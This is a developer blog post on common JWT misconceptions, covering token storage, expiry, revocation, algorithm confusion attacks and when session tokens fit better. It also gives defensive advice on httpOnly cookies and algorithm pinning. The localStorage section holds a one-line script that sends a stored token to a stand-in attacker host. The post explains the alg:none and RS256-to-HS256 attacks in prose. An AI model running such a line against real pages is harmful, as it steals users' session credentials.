JWT Authentication Is Probably Not Working the Way You Think
I break down five JWT misconceptions — localStorage risk, short expiry, revocation, algorithm confusion attacks, and the statelessness myth — and show when session tokens win.

Most developers set expiresIn: "1h", store the token in localStorage, and feel like the authentication is solid. The expiry will kill any stolen token. The signature prevents tampering. What could go wrong?
Quite a bit, it turns out. The expiry clock is a decay rate, not a kill switch. The signature protects the payload’s integrity — it doesn’t hide the payload’s contents. And localStorage is readable by every script running on your page, including code injected through a vulnerable npm dependency.
I’m not arguing that JWT is broken. It isn’t. But the assumptions most developers carry about how it works are wrong enough to create real security gaps. I want to walk through the five that come up most often, show where they break, and leave you with a clearer picture of what JWT actually guarantees.
On this page
- localStorage is accessible to every script on your page
- Short expiry is not revocation
- You can’t revoke a JWT without server-side state
- The algorithm confusion attack your library might not block
- “Stateless JWT” is a trade-off, not a free lunch
- When session tokens are the more honest choice
- The question to ask before you choose
localStorage is accessible to every script on your page
When you call localStorage.setItem("token", jwt), you’re placing the token in a storage area that any JavaScript running on that page can read. That includes your own code, but also code injected through a compromised npm dependency, a third-party analytics tag, or a stored XSS payload in a comment field.
The attack requires no special knowledge of your system:
// Any script on the page can do this in one line
fetch("https://attacker.example/collect?t=" + localStorage.getItem("token"));
OWASP documents this as one of the primary mechanisms through which session credentials are stolen. The attacker doesn’t need to break your signing key. They just need one script injection on one page.
The safer alternative is to store the access token in memory — a JavaScript variable that disappears on page refresh — and the refresh token in an httpOnly cookie. The httpOnly flag tells the browser to block JavaScript access to that cookie entirely. XSS can steal what JavaScript can see; it can’t steal what JavaScript can’t read.
The trade-off is real: a page refresh loses the in-memory access token, so the client needs to hit the refresh endpoint on load to get a new one. One extra network round trip on every hard refresh, in exchange for eliminating the XSS token-theft surface. For most applications, that’s the right call.
Short expiry is not revocation
Setting expiresIn: "15m" is good practice, but it gives an attacker up to 15 minutes of valid access after a token is stolen — even if you already know about the breach. It’s a decay rate, not a kill switch.
The short-lived access token pattern actually requires two tokens working together:
- An access token that expires quickly (15 minutes is common), stored in memory
- A refresh token that lives longer (7–30 days), stored in an
httpOnlycookie - When the access token expires, the client uses the refresh token silently to get a new one
// Access token — short-lived, lives in memory on the client
const accessToken = jwt.sign(
{ sub: userId, role: user.role },
process.env.JWT_SECRET,
{ expiresIn: "15m" }
);
// Refresh token — long-lived, set as an httpOnly cookie
const refreshToken = jwt.sign(
{ sub: userId, type: "refresh" },
process.env.JWT_REFRESH_SECRET,
{ expiresIn: "7d" }
);
If you skip this pattern and issue a single long-lived token stored in localStorage, you’ve combined the worst of both approaches: long enough to be useful when stolen, stored where XSS can reach it.
Check this before moving on
- Your access tokens expire within 15 to 30 minutes
- Your refresh tokens are stored in
httpOnlycookies, notlocalStorage - Your access tokens are stored in memory, not
localStorage - Your refresh endpoint validates the refresh token before issuing a new access token
You can’t revoke a JWT without server-side state
This is the one that surprises developers most. If a user changes their password, suspects their account is compromised, or clicks “log out of all devices,” you want all tokens for that account to stop working immediately. With a signed JWT and no additional machinery, you can’t do that.
The token carries its own validity: the signature is good, the expiry hasn’t passed, so the server accepts it. The server doesn’t consult anything external — that’s the entire design. The price of statelessness is that the server has no channel to say “this token was issued before the password changed.”
Two patterns for forced revocation:
Blocklist: Store invalidated jti (JWT ID) values in a fast cache. On every incoming request, check whether the token’s jti is in the blocklist. RFC 7519 §4.1.7 defines the jti claim specifically for this use case — a unique identifier per token that makes blocklisting practical.
Version counter: Add a tokenVersion field to your user record. Embed the current version as a claim in the token. On every verify, compare the claim against the database value. Changing the password increments the version, and every token issued before the change is instantly invalid.
Both approaches introduce a server-side lookup on every request. Once you implement either one, your JWT system is no longer stateless in any meaningful sense. That’s fine — it’s just honest.
The algorithm confusion attack your library might not block
Here’s a class of vulnerability that’s less about how you use JWT and more about how JWT libraries can be exploited when misconfigured: the algorithm confusion attack.
Every JWT header carries an alg claim — "alg": "HS256" or "alg": "RS256". Early JWT library implementations would read this value from the token and use it to decide how to verify the signature. That one design decision enabled two well-documented attacks.
The alg:none attack. RFC 7519 §6 defines “unsecured JWTs” — tokens that use "alg": "none" and carry no signature at all. An attacker can craft a token with any payload they want, set "alg": "none", remove the signature segment, and some older libraries would accept it as valid. RFC 8725 §2.1 documents this explicitly as a known attack class.
The RS256 → HS256 confusion. If your server uses RS256 (asymmetric keys — a private key to sign, a public key to verify), an attacker can change the header to "alg": "HS256" (symmetric — same key for both). Libraries that accept whatever algorithm the token declares may then try to verify the token using your public key as the HMAC secret. Since the public key is public, the attacker can sign a token that your server will accept. CVE-2015-9235 documents this vulnerability and the libraries it affected.
The fix is straightforward: always declare the expected algorithms in your verify call.
// This trusts whatever algorithm the token claims to use
jwt.verify(token, secret);
// This rejects anything that isn't exactly HS256
jwt.verify(token, secret, { algorithms: ["HS256"] });
Most modern libraries have tightened their defaults, but the principle stands: never let the token tell you how to verify itself. The application decides the allowed algorithms; the token doesn’t get a vote.
“Stateless JWT” is a trade-off, not a free lunch
The most common pitch for JWT is scalability through statelessness: no session store, no database lookup per request, tokens that any service can verify independently with just a shared key or a public key.
That picture is accurate for the simplest case — a short-lived access token verified at a single service, with no revocation requirements. The moment you add realistic security requirements, the statelessness erodes.
Refresh token rotation stores which refresh tokens are active. A blocklist stores which tokens are revoked. A version counter reads from the user record. Token families — where each refresh token can only be used once and generates a replacement — require tracking the entire chain. Every one of these adds server-side state.
The purest stateless JWT configuration (long-lived tokens, no revocation, no rotation) is also the most dangerous. Any real system with user safety requirements tends to add enough state to approximate what sessions do anyway. What you retain is a flexible, standard claims format, easy cross-service verification, and the ability to embed information like roles or permissions directly in the token. Those are genuine benefits. They just don’t include “no server-side state.”
When session tokens are the more honest choice
| Your situation | Better choice | Reason |
|---|---|---|
| Single backend, need instant revocation | Session tokens | One record deletion invalidates all active sessions immediately |
| Microservices, tokens verified at multiple services | JWT | Avoids every service sharing one session database |
| Long-lived sessions (weeks or months) | Session tokens | Refresh rotation complexity grows; sessions are simpler to manage |
| Compliance requirements (finance, healthcare) | Session tokens | Regulators often require proof of immediate lockout capability |
| Short-lived API access or third-party integrations | JWT | Compact format, stateless verification at the edge |
Session-based auth also has fewer conceptual failure modes. The session ID is opaque — there’s no alg claim to confuse, no payload contents to accidentally expose, no expiry logic to misconfigure. The server owns the session entirely. If you need to invalidate it, you delete the record. Done.
For apps that don’t span multiple services and don’t need the cross-service verification that JWT enables, sessions stored in httpOnly cookies are often the simpler and safer path.
The question to ask before you choose
JWT is a well-specified format — RFC 7519 and its best-practices companion RFC 8725 cover the structure, the claims, and the known pitfalls in detail. What JWT guarantees is a signed, verifiable claims structure with an expiry clock. What it doesn’t guarantee is encrypted payload contents, instant revocation without extra infrastructure, algorithm-safe verification by default, or true statelessness in any system that takes security seriously.
Before reaching for JWT on your next project, ask one question: do I need tokens that travel across service boundaries, or do I just need login state on one service? If the answer is one service, a session token in an httpOnly cookie is probably the cleaner choice.
If JWT fits — and for APIs and multi-service architectures it often does — the JWT Authentication Done Right in Node.js guide covers the implementation patterns that hold up in production: short-lived access tokens, refresh tokens in httpOnly cookies, explicit algorithm pinning, and the refresh endpoint structure that makes the full pattern work.

Three segments, one signature — the payload is readable, the shackle has a gap, and the key alone won’t fix either.
Sources
- RFC 7519 — JSON Web Token (JWT) — IETF
- RFC 8725 — JSON Web Token Best Current Practices — IETF
- Cross Site Scripting (XSS) — OWASP
- CVE-2015-9235 — RS256/HS256 algorithm confusion — NIST NVD
- Critical vulnerabilities in JSON Web Token libraries — Auth0 Engineering
Continue the series
Related: JWT Authentication Done Right in Node.js — the happy-path implementation guide this post deliberately skips.